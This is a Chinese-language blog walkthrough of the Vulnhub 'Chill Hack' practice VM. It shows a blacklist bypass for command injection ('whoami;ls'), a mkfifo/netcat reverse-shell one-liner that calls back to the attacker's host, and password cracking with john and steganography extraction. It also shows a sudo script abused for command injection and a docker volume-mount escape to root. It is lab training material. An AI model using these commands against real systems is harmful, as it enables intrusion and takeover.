为了账号安全,请及时绑定邮箱和手机立即绑定

Vulnhub-Chill_Hack

[靶场实战]Vulnhub-Chill_Hack Writeup实战思路

靶场下载地址https://www.vulnhub.com/entry/chill-hack-1,622/

废话不多说 直接开始

第一步使用kali扫描内网IP

Arp-scan –l

图片

获得靶场IP为192.168.72.132

对靶场进行端口扫描

Nmap –A –v 192.168.72.132

图片

发现存在21 22 80三个端口

21端口存在匿名访问 咱们先访问看看

ftp 192.168.72.132

用户名使用anonymous 密码为空

图片

成功登陆

查看有什么文件

图片

发现存在一个txt文件 我们查看一下

使用get下载到本地然后打开查看

图片

图片

嗯…好像也没什么用

我们还是先看看80端口的Web服务吧

图片

看上去像是一个体育比赛的官网?

扫描一下目录

图片

发现了一个有趣的URL http://192.168.72.132/secret/index.php

可以执行命令

图片

OK 突破口应该就在这里了

当我输入ls想查看一下当前目录文件的时候

图片

这时我想起来我们那个note.txt文件里的话是什么意思

证明这里有过滤 就是不知道是白名单还是黑名单了

经过我大量测试 该靶场为黑名单验证

那就好办了 绕过吧

出去吃了个饭 回来突然来了思路

将两个指令结合起来 不就成了吗

例如 ls会被拦截

那就 whoami;ls

图片

成功执行 我可真是个小机灵

将该方法和NC反弹一结合 不就拿到shell了?

经过大量测试 发现可用的反弹语句为

dir;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.72.130 7777 > /tmp/f

本机监听 nc –lvp 7777

执行 成功拿到一个shell

图片

图片

该shell权限还是较低 并且操作非常不便利 咱们要想办法提权

查找python版本

Which python

图片

成功确认python版本为python3

使用python3将shell进行提升

python3 -c ‘import pty;pty.spawn("/bin/bash")’

图片

成功

该命令不会对电脑有什么危害 但偶尔会有奇效

图片

在这个文件夹下 这个hacker.php引起了我的注意 查看一下吧

图片

在黑暗中我会看到答案?真就人均谜语人呗

在hacker.php中 我们看到images文件夹中有一张图片 应该就是线索所在

咱们进入images文件夹

图片

OK 咱们把这张图片用nc下载下来 也可以用python3开启http服务进行下载 不过我图省事儿 就nc了吧

本地电脑运行 nc –nvlp 4444 > hacker-with-laptop_23-2147985341.jpg

咱们保持原名不动

Shell里运行 nc 192.168.72.130 4444 -w 4 < hacker-with-laptop_23-2147985341.jpg

图片

OK 稍等一会儿 成功下载下来

根据hacker.php中的提示 在黑暗中我们会看到答案 这不就是妥妥的图片隐写吗 不愧是我 最近的柯南没白看

使用steghide查看

图片

果然存在一个名为backup.zip的压缩包 不愧是我

依然使用steghide进行解压

图片

OK 得到了这个名为backup.zip的压缩包文件

我们现在将他解压缩

图片

我丢啊 这里来个密码 成吧 再找

找?找是不可能找的 就咱这暴脾气 爆他!

图片

使用zip2johb生成了一个backup.john文件

咱们使用john爆他

图片

OK 完成

咱们使用john查看密码

图片

密码为pass1word 行吧 经典弱口令

接下来咱们解压文件

图片

成功解压出来

查看解压出来的文件

图片

好家伙 还有个base64编码 解密吧

图片

返回我们的shell 查看一下用户

图片

使用我们得到的密码登入进用户anurodh

图片

成功登入

确认账户密码没问题了 这时候咱们就要用到一开始扫描出的22端口了

毕竟shell是不稳定的 使用ssh服务登入吧

图片

成功登入 有一个稳定的权限的感觉太爽了

这时候肯定就是提权了是吧

直接使用经典的sudo su

图片

失败了 嗯… 情理之中 意料之外

使用sudo –l查看sudo的权限 发现apaar可以提权?那就造他

图片

查看apaar文件夹下的文件

图片

发现apaar下有个txt文件 但由于权限文件我们无法访问

但上述提到了 apaar下有个sh脚本我们可以执行 那就执行它

图片

它需要一个名字 咱们随便输入即可

图片

执行完毕了 但我不知道它有效果

那就阅读一下吧

图片

这个批处理 有点意思啊 似乎可以命令执行

图片

尝试成功 有点意思

既然我们没有权限读取local.txt文件 那就让apaar来读取吧

图片

啊这 我还以为是什么提权的东西呢 结果你告诉我 这就是个flag?

那也行吧 flag1 get {USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

OK 咱们继续找其他方法提权吧

输入id查看权限

图片

嗯?docker?要素察觉

我们使用一些提权辅助工具https://gtfobins.github.io/ 在里面搜搜docker

图片

使用此命令即可提权docker run -v /:/mnt --rm -it alpine chroot /mnt sh

图片

图片

提权成功

进入root目录 拿到最后一个flag

图片

Flag2 get {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

总结语:怎么说呢,这个靶场还是挺有意思的。我起初以为就是简单的一个命令执行getshell以后一个脚本提权就拿下了。没想到还有这么多步骤,挺严谨的吧

点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消